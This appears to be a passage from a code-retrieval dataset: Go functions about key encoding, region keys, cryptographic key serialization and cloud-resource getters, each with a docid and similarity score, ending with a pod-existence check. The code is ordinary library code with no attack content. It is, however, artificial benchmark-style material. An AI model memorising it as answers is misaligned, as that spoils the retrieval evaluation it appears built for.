"cbade1901fd159474c799dcbe67c4fa4", "score": "0.52238566", "text": "func encodePubkey(pubkey *ecdsa.PublicKey) []byte {\n\treturn []byte(base64.RawURLEncoding.EncodeToString(ethcrypto.FromECDSAPub(pubkey)))\n}", "title": "" }, { "docid": "91a099d6723976d75c1963c25a307bea", "score": "0.52042454", "text": "func (k *PrivateKey) Encoded() ([]byte, error) {\n\treturn k.seckey, nil\n}", "title": "" }, { "docid": "b820af45c81aa41336cda0df18b7af5d", "score": "0.5190237", "text": "func ReverseRegionKey(rk uint64) TRegionKeyRev {\n\tvar rrk C.regionkey_rev_t\n\tC.reverse_regionkey(C.uint64_t(rk), &rrk)\n\treturn castCRegionKeyRev(rrk)\n}", "title": "" }, { "docid": "1ccbb0a8419351c2d4fb3ecf5eaccbcb", "score": "0.5187653", "text": "func (o BigIpLicenseOutput) RegistrationKey() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *BigIpLicense) pulumi.StringOutput { return v.RegistrationKey }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "5f79a5e969443fe0831e1fb82f824ea6", "score": "0.51733863", "text": "func EncodeKey(key []byte) string {\n\treturn hex.EncodeToString(key)\n}", "title": "" }, { "docid": "6cd264942663229027b6c22f470c5a8f", "score": "0.51493746", "text": "func EkgKey(domain, id []byte) []byte {\n return createKey(EKG,domain,id)\n}", "title": "" }, { "docid": "d518f60693bf0eb66b37aaba6297b338", "score": "0.5146451", "text": "func VariantKey(chrom string, pos uint32, ref, alt string) uint64 {\n\tbchrom := StringToNTBytes(chrom)\n\tbref := StringToNTBytes(ref)\n\tbalt := StringToNTBytes(alt)\n\tsizeref := len(ref)\n\tsizealt := len(alt)\n\tpchrom := unsafe.Pointer(&bchrom[0]) // #nosec\n\tpref := unsafe.Pointer(&bref[0]) // #nosec\n\tpalt := unsafe.Pointer(&balt[0]) // #nosec\n\treturn uint64(C.variantkey((*C.char)(pchrom), C.size_t(len(chrom)), C.uint32_t(pos), (*C.char)(pref), C.size_t(sizeref), (*C.char)(palt), C.size_t(sizealt)))\n}", "title": "" }, { "docid": "2e9162b49edd465035acd6a36a09817c", "score": "0.5119486", "text": "func calculateServerResponseKey(key string) string {\n s := sha1.Sum([]byte(key + WS_SERVER_ID))\n b64 := base64.StdEncoding.EncodeToString(s[:])\n\n return b64\n}", "title": "" }, { "docid": "9fb1b07539b84e90007653d0349f6075", "score": "0.50869775", "text": "func (objID *ObjID) B64() (string){\n\treturn base64.StdEncoding.EncodeToString(objID.Key)\n}", "title": "" }, { "docid": "ce5ff5aa217264a372fb6e6659e316d6", "score": "0.50737566", "text": "func (pubKey PubKeySecp256k1Eth) KeyString() string {\n\treturn fmt.Sprintf(\"%X\", pubKey[:])\n}", "title": "" }, { "docid": "438218a8e9a52d214069ef7be7d692b2", "score": "0.50638056", "text": "func keyify(key string) []byte {\n\th := fnv.New64a()\n\th.Write([]byte(key))\n\tb := make([]byte, 0, 8)\n\treturn h.Sum(b)\n}", "title": "" }, { "docid": "1c03704ab07d2bf6d8c3d5eac764069d", "score": "0.5052805", "text": "func (s Sig) Base64Encoded() (string, error) {\n\tsig, ok := s.Layer.Annotations[CosignSigKey]\n\tif !ok {\n\t\treturn \"\", errors.New(\"cosign signature not found in the layer annotations\")\n\t}\n\tif _, err := encoding.DecodeString(sig); err != nil {\n\t\treturn \"\", fmt.Errorf(\"invalid base64 encoded signature: %w\", err)\n\t}\n\treturn sig, nil\n}", "title": "" }, { "docid": "3db3292f67b3cc83788260b606b6dfd7", "score": "0.5051871", "text": "func (r AuthPrivilegeRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "a4aed1d2a9a2643e4625a9fbfa54f887", "score": "0.5040787", "text": "func ForProviderAndRegionWithPrecision(provider string, region string, precision uint) (string, error) {\n\tregions, ok := coordinatesLookup[provider]\n\tif !ok {\n\t\treturn \"\", errors.Errorf(\"could not find provider %s in lookup table\", provider)\n\t}\n\n\tcoords, ok := regions[region]\n\tif !ok {\n\t\treturn \"\", errors.Errorf(\"could not find region %s in lookup table\", region)\n\t}\n\n\treturn geohash.EncodeWithPrecision(coords.lat, coords.lon, precision), nil\n}", "title": "" }, { "docid": "b464dde8c3318cc1ee9d648eeaa0010b", "score": "0.5025677", "text": "func GetRegionKeyChromEndPos(rk uint64) uint64 {\n\treturn uint64(C.get_regionkey_chrom_endpos(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "6df847ea09db72228d603ca9d4e94004", "score": "0.4994344", "text": "func (keys *RSAKeyPair) ExportPublicKeyBinaryBase64() string {\n\treturn base64.StdEncoding.EncodeToString(keys.PublicKeyPKIXBytes)\n}", "title": "" }, { "docid": "534ba9d80630fa4b0a9277c74da816cc", "score": "0.4992922", "text": "func castCRegionKey(rk C.regionkey_t) TRegionKey {\n\treturn TRegionKey{\n\t\tChrom: uint8(rk.chrom),\n\t\tStartPos: uint32(rk.startpos),\n\t\tEndPos: uint32(rk.endpos),\n\t\tStrand: uint8(rk.strand),\n\t}\n}", "title": "" }, { "docid": "a9bf79548853c00b42b682e2d21dfe04", "score": "0.49904156", "text": "func GetRegionKeyChromStartPos(rk uint64) uint64 {\n\treturn uint64(C.get_regionkey_chrom_startpos(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "a2809e28651142d95859257a7412da10", "score": "0.49872026", "text": "func ExtractRegionKeyChrom(rk uint64) uint8 {\n\treturn uint8(C.extract_regionkey_chrom(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "7a03dd82eeb5d32dc30051755ed9758c", "score": "0.4969815", "text": "func (r CreateImageFromSnapshotsRequest) GetRegionId() string {\n return r.RegionId\n}", "title": "" }, { "docid": "b8848c32c536ed01e9dd14af30b3f51d", "score": "0.4925121", "text": "func PubKeySerialize(ctx *Context, publicKey *PublicKey, flags uint) (int, []byte, error) {\n\tvar size int\n\tif flags == EcCompressed {\n\t\tsize = CompressedLength\n\t} else {\n\t\tsize = UncompressedLength\n\t}\n\n\toutput := make([]C.uchar, size)\n\toutputLen := C.size_t(size)\n\tresult := int(C.secp256k1_ec_pubkey_serialize(ctx.ctx, &output[0], &outputLen, publicKey.pk, C.uint(flags)))\n\n\treturn result, goBytes(output, C.int(outputLen)), nil\n}", "title": "" }, { "docid": "1a657474eb882a7f9add972c42ad2d04", "score": "0.49183547", "text": "func keyFromGOB64(str string) (*key, error) {\n\tby, err := base64.StdEncoding.DecodeString(str)\n\tif err != nil {\n\t\treturn (*key)(nil), err\n\t}\n\n\tb := bytes.Buffer{}\n\tb.Write(by)\n\td := gob.NewDecoder(&b)\n\n\tvar k *key\n\n\tif err = d.Decode(&k); err != nil {\n\t\tfmt.Println(\"failed gob Decode\", err)\n\t}\n\n\treturn k, nil\n}", "title": "" }, { "docid": "3432ce0fcbba479b91e417c83b7d3e18", "score": "0.49145207", "text": "func TestProfile_GetIdentityKey(t *testing.T) {\n\n\tpubKey := [32]byte{}\n\t_, err := rand.Read(pubKey[:])\n\trequire.Nil(t, err)\n\n\tp := Profile{\n\t\tInformation: Information{\n\t\t\tIdentityPubKey: hex.EncodeToString(pubKey[:]),\n\t\t},\n\t}\n\n\tkey, err := p.GetIdentityKey()\n\trequire.Nil(t, err)\n\n\trequire.Equal(t, hex.EncodeToString(pubKey[:]), hex.EncodeToString(key))\n\n}", "title": "" }, { "docid": "44fa6f0612051af28be4263d46d8b68f", "score": "0.4909674", "text": "func ibound_mid2key(mid uint16) string {\n\treturn fmt.Sprintf(\"%s%d\", _IBOUND_PREFIX, mid)\n}", "title": "" }, { "docid": "334c6cc61f7315ad6d53235116bcb0b8", "score": "0.4907307", "text": "func getKey(data string) string {\n\tsign := md5.Sum([]byte(data))\n\tsignStr := fmt.Sprintf(\"%x\", sign)\n\treturn signStr[:7]\n}", "title": "" }, { "docid": "4bf88e70f0f5b0527c15723d84f72e08", "score": "0.4894341", "text": "func KeyAsString(key uint64) string {\n\treturn strconv.FormatUint(key, 36)\n}", "title": "" }, { "docid": "4f4f69377ad1a733227d9333b58981f0", "score": "0.4889696", "text": "func EncodeKey(sc *stmtctx.StatementContext, b []byte, v ...types.Datum) ([]byte, error) {\n\treturn encode(sc, b, v, true)\n}", "title": "" }, { "docid": "bd2e360977b6c0d8e56ba39404160933", "score": "0.48878232", "text": "func keyToID(key []byte) uint64 {\n\treturn binary.BigEndian.Uint64(key)\n}", "title": "" }, { "docid": "1451da8207fee8c43e59a0240d876e92", "score": "0.48857525", "text": "func Base64Encode(operand string) string { return base64.StdEncoding.EncodeToString([]byte(operand)) }", "title": "" }, { "docid": "0c1e3e1db9027e64291ffba064ea5b6b", "score": "0.48749045", "text": "func keyString(k ssh.PublicKey) string {\n\treturn k.Type() + \" \" + base64.StdEncoding.EncodeToString(k.Marshal()) // e.g. \"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTY....\"\n}", "title": "" }, { "docid": "5f392715ce78da181bf9117d2374c91a", "score": "0.48689976", "text": "func GetRegion(licenseKey string) string {\n\tmatches := regionLicenseRegex.FindStringSubmatch(licenseKey)\n\tif len(matches) > 1 {\n\t\treturn matches[1]\n\t}\n\n\treturn \"\"\n}", "title": "" }, { "docid": "5fe71ae65b8cef1f194884e7cfba2ed7", "score": "0.48663187", "text": "func ExtractRegionKeyEndPos(rk uint64) uint32 {\n\treturn uint32(C.extract_regionkey_endpos(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "aca559766951432727a868d7140abc57", "score": "0.48642817", "text": "func (k *key) Marshall() (string, error) {\n\td, err := keyToGOB64(k)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn d, nil\n}", "title": "" }, { "docid": "22a790256218c7faaecb1408131a26d1", "score": "0.48641568", "text": "func (o ReplicaExternalKeyOutput) KeyMaterialBase64() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *ReplicaExternalKey) pulumi.StringPtrOutput { return v.KeyMaterialBase64 }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "b746ebe04b31711d3404bcbc93928e4b", "score": "0.48614636", "text": "func (pdu *Pdu) AsMapKey() string {\n // return fmt.Sprintf(\"%d[%x]\", pdu.MessageID, pdu.Token)\n return fmt.Sprintf(\"%x\", pdu.Token)\n // return fmt.Sprintf(\"%d\", pdu.MessageID)\n}", "title": "" }, { "docid": "80745be6063accb86e2a8bc82ba483cd", "score": "0.4845627", "text": "func (kms *kmipKMS) registerKey(keyName, keyValue string) (string, error) {\n\tvalueBytes, err := base64.StdEncoding.DecodeString(keyValue)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to convert string to bytes\")\n\t}\n\tconn, err := kms.connect()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to connect to kmip kms\")\n\t}\n\tdefer conn.Close()\n\tregisterPayload := kmip.RegisterRequestPayload{\n\t\tObjectType: kmip14.ObjectTypeSymmetricKey,\n\t\tSymmetricKey: &kmip.SymmetricKey{\n\t\t\tKeyBlock: kmip.KeyBlock{\n\t\t\t\tKeyFormatType: kmip14.KeyFormatTypeOpaque,\n\t\t\t\tKeyValue: &kmip.KeyValue{\n\t\t\t\t\tKeyMaterial: valueBytes,\n\t\t\t\t},\n\t\t\t\tCryptographicLength: cryptographicLength,\n\t\t\t\tCryptographicAlgorithm: kmip14.CryptographicAlgorithmAES,\n\t\t\t},\n\t\t},\n\t}\n\tregisterPayload.TemplateAttribute.Append(kmip14.TagCryptographicUsageMask, kmip14.CryptographicUsageMaskExport)\n\trespMsg, decoder, uniqueBatchItemID, err := kms.send(conn, kmip14.OperationRegister, registerPayload)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to send register request to kmip\")\n\t}\n\tbi, err := kms.verifyResponse(respMsg, kmip14.OperationRegister, uniqueBatchItemID)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to verify kmip register response\")\n\t}\n\n\tvar registerRespPayload kmip.RegisterResponsePayload\n\terr = decoder.DecodeValue(&registerRespPayload, bi.ResponsePayload.(ttlv.TTLV))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to decode kmip response value\")\n\t}\n\n\treturn registerRespPayload.UniqueIdentifier, nil\n}", "title": "" }, { "docid": "445a92a9718fb05a07c5005bd434ba89", "score": "0.48423228", "text": "func encodeExpireKey(key []byte) []byte {\n\texpireKey := []byte{ValuePrefix}\n\texpireKey = append(expireKey, ExpireKey...)\n\texpireKey = append(expireKey, Seperator)\n\texpireKey = append(expireKey, key...)\n\treturn expireKey\n}", "title": "" }, { "docid": "deed5fc5e36c3b0aad6d15364466c4ec", "score": "0.4837036", "text": "func (r AttachGroupPolicyRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "89baf199629230f692fcdb070afeca62", "score": "0.48368132", "text": "func (pk _Ed25519PublicKey) _StringRaw() string {\n\treturn hex.EncodeToString(pk.keyData)\n}", "title": "" }, { "docid": "49246dae51b72edc070f162a21959b06", "score": "0.48291442", "text": "func (k *Key) Encode() string {\n\te := make([]*pb.Path_Element, len(k.toks))\n\tfor i, t := range k.toks {\n\t\tt := t\n\t\te[i] = &pb.Path_Element{\n\t\t\tType: &t.Kind,\n\t\t}\n\t\tif t.StringID != \"\" {\n\t\t\te[i].Name = &t.StringID\n\t\t} else {\n\t\t\te[i].Id = &t.IntID\n\t\t}\n\t}\n\tvar namespace *string\n\tif ns := k.kc.Namespace; ns != \"\" {\n\t\tnamespace = &ns\n\t}\n\tr, err := proto.Marshal(&pb.Reference{\n\t\tApp: &k.kc.AppID,\n\t\tNameSpace: namespace,\n\t\tPath: &pb.Path{\n\t\t\tElement: e,\n\t\t},\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// trim padding\n\treturn strings.TrimRight(base64.URLEncoding.EncodeToString(r), \"=\")\n}", "title": "" }, { "docid": "d7ca8e47ca7691e9c3bb97f30d706500", "score": "0.4824616", "text": "func encodeUint64(u uint64) []byte {\n\tb := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(b, u)\n\treturn b\n}", "title": "" }, { "docid": "b626c283491d9a0f99e684f7e50a5f78", "score": "0.4820838", "text": "func (pubKey PubKeyEd25519) KeyString() string {\n\treturn Fmt(\"%X\", pubKey[:])\n}", "title": "" }, { "docid": "b626c283491d9a0f99e684f7e50a5f78", "score": "0.4820838", "text": "func (pubKey PubKeyEd25519) KeyString() string {\n\treturn Fmt(\"%X\", pubKey[:])\n}", "title": "" }, { "docid": "7ee3a9c314fbc391751f69ccb4ca9693", "score": "0.48149064", "text": "func InitSigningKey() string {\n\treturn uniuri.NewLen(32)\n}", "title": "" }, { "docid": "8455153fa184765a5a3418d5d43dbdc5", "score": "0.4811082", "text": "func encodeTaskMetaKey(name string) []byte {\n\tkey := append([]byte{}, taskMetaPrefix...)\n\treturn append(key, name...)\n}", "title": "" }, { "docid": "3af1eeee04dc07ba377d463130bbafed", "score": "0.48015904", "text": "func Key() string {\n\tbuf := make([]byte, 16)\n\t_, err := rand.Read(buf)\n\tif err != nil {\n\t\tpanic(err) // out of randomness, should never happen\n\t}\n\treturn fmt.Sprintf(\"%x\", buf)\n}", "title": "" }, { "docid": "cfacb28fff0acac8d135275113bace58", "score": "0.48003486", "text": "func encodePrivateKey(private *rsa.PrivateKey) []byte {\n\treturn pem.EncodeToMemory(&pem.Block{\n\t\tBytes: x509.MarshalPKCS1PrivateKey(private),\n\t\tHeaders: nil,\n\t\tType: \"RSA PRIVATE KEY\",\n\t})\n}", "title": "" }, { "docid": "06295d8d6fbb06affaf725966dc15118", "score": "0.47939044", "text": "func idToKey(id uint64) []byte {\n\tkey := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(key, id)\n\treturn key\n}", "title": "" }, { "docid": "c27772103f8203e97810da0ea5f05f7c", "score": "0.478754", "text": "func (s *Server) RawKey() []byte {\n\treturn s.xK\n}", "title": "" }, { "docid": "836199ef320a70ec930bc35583176140", "score": "0.47854373", "text": "func encodeTestKey(kvDB *client.DB, keyStr string) (roachpb.Key, error) {\n\tvar key []byte\n\ttokens := strings.Split(keyStr, \"/\")\n\n\tfor _, tok := range tokens {\n\t\t// Encode the table ID if the token is a table name.\n\t\tif tableNames[tok] {\n\t\t\tdesc := sqlbase.GetTableDescriptor(kvDB, sqlutils.TestDB, tok)\n\t\t\tkey = encoding.EncodeUvarintAscending(key, uint64(desc.ID))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Interleaved sentinel.\n\t\tif tok == \"#\" {\n\t\t\tkey = encoding.EncodeNotNullDescending(key)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Assume any other value is an unsigned integer.\n\t\ttokInt, err := strconv.ParseUint(tok, 10, 64)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tkey = encoding.EncodeUvarintAscending(key, tokInt)\n\t}\n\n\treturn key, nil\n}", "title": "" }, { "docid": "22fbd22e71a64a91dba3b813d70bff2c", "score": "0.47848043", "text": "func (e Aes128CtsHmacSha256128) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {\n\tsaltp := rfc8009.GetSaltP(salt, \"aes128-cts-hmac-sha256-128\")\n\treturn rfc8009.StringToKey(secret, saltp, s2kparams, e)\n}", "title": "" }, { "docid": "e3211d249468b69abdfeb8bf77b9fdd1", "score": "0.4778205", "text": "func convertKey(key []byte) string {\n\treturn fmt.Sprintf(\"%x\", key)\n}", "title": "" }, { "docid": "b2dfcfc2f626baa376c502fc52c4256d", "score": "0.47779015", "text": "func (r SetAuthConfigRequest) GetRegionId() string {\n return \"\"\n}", "title": "" }, { "docid": "4c496f0a71f02f7549bf720e83181e39", "score": "0.47686502", "text": "func (s *Subscription) GetKey() string {\n\tbaseURL, _ := url.Parse(s.BaseURL)\n\tfields := []string{\n\t\ts.VCSType,\n\t\tbaseURL.Hostname(),\n\t\ts.OrgName,\n\t\ts.RepoName,\n\t}\n\tkey := strings.Join(fields, \"_\")\n\treturn util.GetKeyHash(key)\n}", "title": "" }, { "docid": "b94f0b47de3597d91e24e04c73ce7358", "score": "0.4768634", "text": "func encodingAESKey2AESKey(encodingAESKey string) ([]byte, error) {\n\treturn base64.StdEncoding.DecodeString(encodingAESKey + \"=\")\n}", "title": "" }, { "docid": "c10f2141cd87c270aa31de5297d3bd58", "score": "0.47615907", "text": "func (l *License) Encode(privateKey ed25519.PrivateKey) ([]byte, error) {\n\tmsg, err := json.Marshal(l)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsig := ed25519.Sign(privateKey, msg)\n\tbuf := new(bytes.Buffer)\n\tbuf.Write(sig)\n\tbuf.Write(msg)\n\n\tblock := &pem.Block{\n\t\tType: \"LICENSE KEY\",\n\t\tBytes: buf.Bytes(),\n\t}\n\treturn pem.EncodeToMemory(block), nil\n}", "title": "" }, { "docid": "6f60741c98f785f956ed06268600fea7", "score": "0.4760739", "text": "func Encrypt(pubkey string, pin string, uuid string) (string, error) {\n\tblock, err := base64.StdEncoding.DecodeString(pubkey)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpub, err := x509.ParsePKIXPublicKey(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\trsaPub, _ := pub.(*rsa.PublicKey)\n\t//fmt.Printf(\"The key is: %v, its type is %T\", rsaPub, rsaPub)\n\n\t// do the encryption\n\tmsg := uuid + pin\n\trsakey, err := rsa.EncryptPKCS1v15(rand.Reader, rsaPub, []byte(msg))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t//fmt.Printf(\"the encryption is: %v\", rsakey)\n\tencodedKey := base64.StdEncoding.EncodeToString(rsakey)\n\tfmt.Printf(\"the key is: %v\\n\", encodedKey)\n\tfmt.Printf(\"The uuid is: %v\\n\", uuid)\n\treturn encodedKey, nil\n}", "title": "" }, { "docid": "00f38130dc53bc1db85455d0c14ae45b", "score": "0.47539198", "text": "func UUIDKeyFunc(source io.Reader, encoding *base64.Encoding) KeyFunc {\n\tif source == nil {\n\t\tsource = rand.Reader\n\t}\n\n\tif encoding == nil {\n\t\tencoding = base64.RawURLEncoding\n\t}\n\n\treturn func(ID, Convey, *http.Request) (Key, error) {\n\t\traw := make([]byte, 16)\n\t\tif _, err := source.Read(raw); err != nil {\n\t\t\treturn invalidKey, err\n\t\t}\n\n\t\traw[8] = (raw[8] | 0x80) & 0xBF\n\t\traw[6] = (raw[6] | 0x40) & 0x4F\n\n\t\toutput := new(bytes.Buffer)\n\t\tencoder := base64.NewEncoder(encoding, output)\n\t\tif _, err := encoder.Write(raw); err != nil {\n\t\t\treturn invalidKey, err\n\t\t}\n\n\t\tif err := encoder.Close(); err != nil {\n\t\t\treturn invalidKey, err\n\t\t}\n\n\t\treturn Key(output.String()), nil\n\t}\n}", "title": "" }, { "docid": "016fd8d5a4c158f3a71b77cfe4a96a66", "score": "0.47494376", "text": "func PathToKey(path string) (string) {\n\treturn base64.StdEncoding.EncodeToString([]byte(path))\n}", "title": "" }, { "docid": "927f463437dd084e11b5dd0892a2c9b2", "score": "0.47371143", "text": "func (k *RSAPrivKey) Serialize() ([]byte, error) {\n\tpemKey := &pem.Block{\n\t\tType: \"PRIVATE KEY\",\n\t\tBytes: x509.MarshalPKCS1PrivateKey(k.key),\n\t}\n\n\treturn pem.EncodeToMemory(pemKey), nil\n}", "title": "" }, { "docid": "5e631f5273e646fe2f495def89e3ff55", "score": "0.4737027", "text": "func encodeSSHKey(public *rsa.PublicKey) ([]byte, error) {\n\tpublicKey, err := ssh.NewPublicKey(public)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ssh.MarshalAuthorizedKey(publicKey), nil\n}", "title": "" }, { "docid": "c154292ff7b5f43a83503a2a2bab5cd2", "score": "0.4732733", "text": "func ConnEkgKey(cid types.ConnId) []byte {\n return createKey(CONN,EKG,cid.Serialize())\n}", "title": "" }, { "docid": "c30d8b19044885dbfe8781442c0e9cfa", "score": "0.4727582", "text": "func (r DescribeSnapshotPolicyDiskRelationsRequest) GetRegionId() string {\n return r.RegionId\n}", "title": "" }, { "docid": "c1a0249a2d42f3a163f7e1f4af3e260a", "score": "0.47240308", "text": "func (a *managedAddress) pubKeyBytes() []byte {\n\tif a.compressed {\n\t\treturn a.pubKey.SerializeCompressed()\n\t}\n\treturn a.pubKey.SerializeUncompressed()\n}", "title": "" }, { "docid": "cf3a157dd6cb9203b17412e3afd5a431", "score": "0.471982", "text": "func AESKey256BitToHexEncodedString(aeskey []byte) (string, error) {\n\tif len(aeskey) != 32 {\n\t\treturn \"\", errors.New(\"Key size must be 256 bit\")\n\t}\n\tkey := hex.EncodeToString(aeskey)\n\treturn key, nil\n}", "title": "" }, { "docid": "2ce48f86bde6534173b51191354bad4c", "score": "0.47162142", "text": "func (c *publicKey) Base64() (string, error) {\n\tb, err := c.Raw()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.StdEncoding.EncodeToString(b), nil\n}", "title": "" }, { "docid": "0ecb1915b8e52cfba10082d8a59a77f3", "score": "0.4715843", "text": "func ExtractRegionKeyStartPos(rk uint64) uint32 {\n\treturn uint32(C.extract_regionkey_startpos(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "c64c16691e1b4bf810b0a082a5fce75d", "score": "0.4714568", "text": "func encodeKeyHash(verPublicKeyHash []byte, checkSum []byte) string {\n\n\ts := \"START encodeKeyHash() - Encodes verPublicKeyHash & checkSum\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\t// 7 - CONCAT\n\taddressHex := append(verPublicKeyHash, checkSum...)\n\ts = \"7 - CONCAT \" + hex.EncodeToString(addressHex)\n\tlog.Info(\"WALLET: GUTS \" + s)\n\n\t// 8 - BASE58 ENCODING\n\tjeffCoinAddressHex := base58.Encode(addressHex)\n\ts = \"8 - BASE58 ENCODING \" + jeffCoinAddressHex\n\tlog.Info(\"WALLET: GUTS \" + s)\n\n\ts = \"END encodeKeyHash() - Encodes verPublicKeyHash & checkSum\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\treturn jeffCoinAddressHex\n\n}", "title": "" }, { "docid": "c80b3b6e61134b86fdde0bf8853d4d11", "score": "0.47096252", "text": "func internalKey(key string) []byte {\n\treturn []byte(\"int:\" + key)\n}", "title": "" }, { "docid": "c8304048453e6133540fa0fcb4096dcf", "score": "0.470855", "text": "func (r *ImageRegistryResource) locationKey() string {\n\treturn common.StringID(r.Name)\n}", "title": "" }, { "docid": "8afcec6a9e0eab1d9fb0ed6b80d51cf0", "score": "0.4708254", "text": "func newKey() key {\n\treturn &[32]byte{}\n}", "title": "" }, { "docid": "dc099bc1e60334fd086897be155b0678", "score": "0.4707348", "text": "func QuadKey(tileid TileID) string {\n\tstringval := \"\"\n\tfor i := int(tileid.Z); i > 0; i-- {\n\t\tdigit := 0\n\t\tmask := int(1 << uint64(i-1))\n\t\tif int(tileid.X)&mask > 0 {\n\t\t\tdigit += 1\n\t\t}\n\t\tif int(tileid.Y)&mask > 0 {\n\t\t\tdigit += 2\n\t\t}\n\t\tstringval += strconv.Itoa(digit)\n\t}\n\treturn stringval\n}", "title": "" }, { "docid": "5cf0215603b49b4d916fb7816167b12a", "score": "0.4706653", "text": "func tileKey(zoom, tx, ty uint) (key string) {\n\tmask := uint(1)\n\tbuff := make([]byte, zoom)\n\tfor z := zoom; z > 0; z-- {\n\t\tpart := byte('0')\n\t\tmask = 1 << (z - 1)\n\t\tswitch {\n\t\tcase tx&mask != 0 && ty&mask != 0:\n\t\t\tpart = '3'\n\t\tcase tx&mask != 0:\n\t\t\tpart = '1'\n\t\tcase ty&mask != 0:\n\t\t\tpart = '2'\n\t\t}\n\t\tbuff[zoom-z] = part\n\t}\n\treturn string(buff)\n}", "title": "" }, { "docid": "4fb0b40700f88a3cc1f431a24c31c243", "score": "0.47058317", "text": "func EncodeOnChainVRFProvingKey(vrfKey client.VRFKey) ([2]*big.Int, error) {\n\tuncompressed := vrfKey.Attributes.Uncompressed\n\tprovingKey := [2]*big.Int{}\n\tvar set1 bool\n\tvar set2 bool\n\t// strip 0x to convert to int\n\tprovingKey[0], set1 = new(big.Int).SetString(uncompressed[2:66], 16)\n\tif !set1 {\n\t\treturn [2]*big.Int{}, errors.New(\"can not convert VRF key to *big.Int\")\n\t}\n\tprovingKey[1], set2 = new(big.Int).SetString(uncompressed[66:], 16)\n\tif !set2 {\n\t\treturn [2]*big.Int{}, errors.New(\"can not convert VRF key to *big.Int\")\n\t}\n\treturn provingKey, nil\n}", "title": "" }, { "docid": "ebba7a99687a2016932c04fb3ac851a3", "score": "0.47030717", "text": "func (spotify *Spotify) getEncodedKeys() string {\n\n\tdata := fmt.Sprintf(\"%v:%v\", spotify.clientID, spotify.clientSecret)\n\tencoded := base64.StdEncoding.EncodeToString([]byte(data))\n\n\treturn encoded\n}", "title": "" }, { "docid": "534222d854e7c2104fc1a597ce1dea99", "score": "0.4702628", "text": "func (agent *MerkleAgent) SerializeSecretKey() []byte{\n\treturn agent.keyItr.Serialize()\n}", "title": "" }, { "docid": "7749e73407e0e3827a676340258cb094", "score": "0.47015315", "text": "func QualifyKey(params *Params, qualify *PrivateKey, attrs wkdibe.AttributeList, lEnd int, rEnd int) (*PrivateKey, error) {\n\tif !(*qualify.lEnd <= lEnd && rEnd <= *qualify.rEnd) {\n\t\tpanic(\"Cannot generate key out bound of given key\")\n\t}\n\n\tkey := &PrivateKey{}\n\tvar err error\n\n\tkey.lEnd, key.rEnd = new(int), new(int)\n\t*key.lEnd = lEnd\n\t*key.rEnd = rEnd\n\n\tnodeID := make([]int, *params.userHeight, *params.userHeight)\n\n\tkey.root, err = treeQualifyKey(params, qualify.root, 1, *params.userSize, lEnd, rEnd, attrs, nodeID, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn key, nil\n}", "title": "" }, { "docid": "9152c5ce8cf5fe8e737b83a43d9aff19", "score": "0.47004524", "text": "func (codec codec[T]) EncodeKey(key dynamo.Thing) (map[string]types.AttributeValue, error) {\n\thashkey := key.HashKey()\n\tif hashkey == \"\" {\n\t\treturn nil, fmt.Errorf(\"invalid key of %T, hashkey cannot be empty\", key)\n\t}\n\n\tsortkey := key.SortKey()\n\tif sortkey == \"\" {\n\t\tsortkey = \"_\"\n\t}\n\n\tgen := map[string]types.AttributeValue{}\n\tgen[codec.pkPrefix] = &types.AttributeValueMemberS{Value: string(hashkey)}\n\tgen[codec.skSuffix] = &types.AttributeValueMemberS{Value: string(sortkey)}\n\n\treturn gen, nil\n}", "title": "" }, { "docid": "6372b7c1b42551a640085df719b767ae", "score": "0.4699416", "text": "func formKey(coord Coord) string {\n\treturn strconv.Itoa(coord.X) + \"-\" + strconv.Itoa(coord.Y)\n}", "title": "" }, { "docid": "cbc264a11dce6dd96e402b06aeb1fc17", "score": "0.4698775", "text": "func (o SslCertificateOutput) Region() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SslCertificate) pulumi.StringOutput { return v.Region }).(pulumi.StringOutput)\n}", "title": "" } ]
1ae5fa0cacd105e3038631150098aa89
checkPodArgument method checks if pod exists in storage
[ { "docid": "3ae2e3a7fe326eac5eadf754b94b82e2", "score": "0.6918104", "text": "func (s *PodStorage) checkPodExists(pod *types.Pod) error {\n\n\tif err := s.checkPodArgument(pod); err != nil {\n\t\treturn err\n\t}\n\n\tif _, ok := s.data[s.keyGet(pod)]; !ok {\n\t\treturn errors.New(store.ErrEntityNotFound)\n\t}\n\n\treturn nil\n}", "title": "" } ]
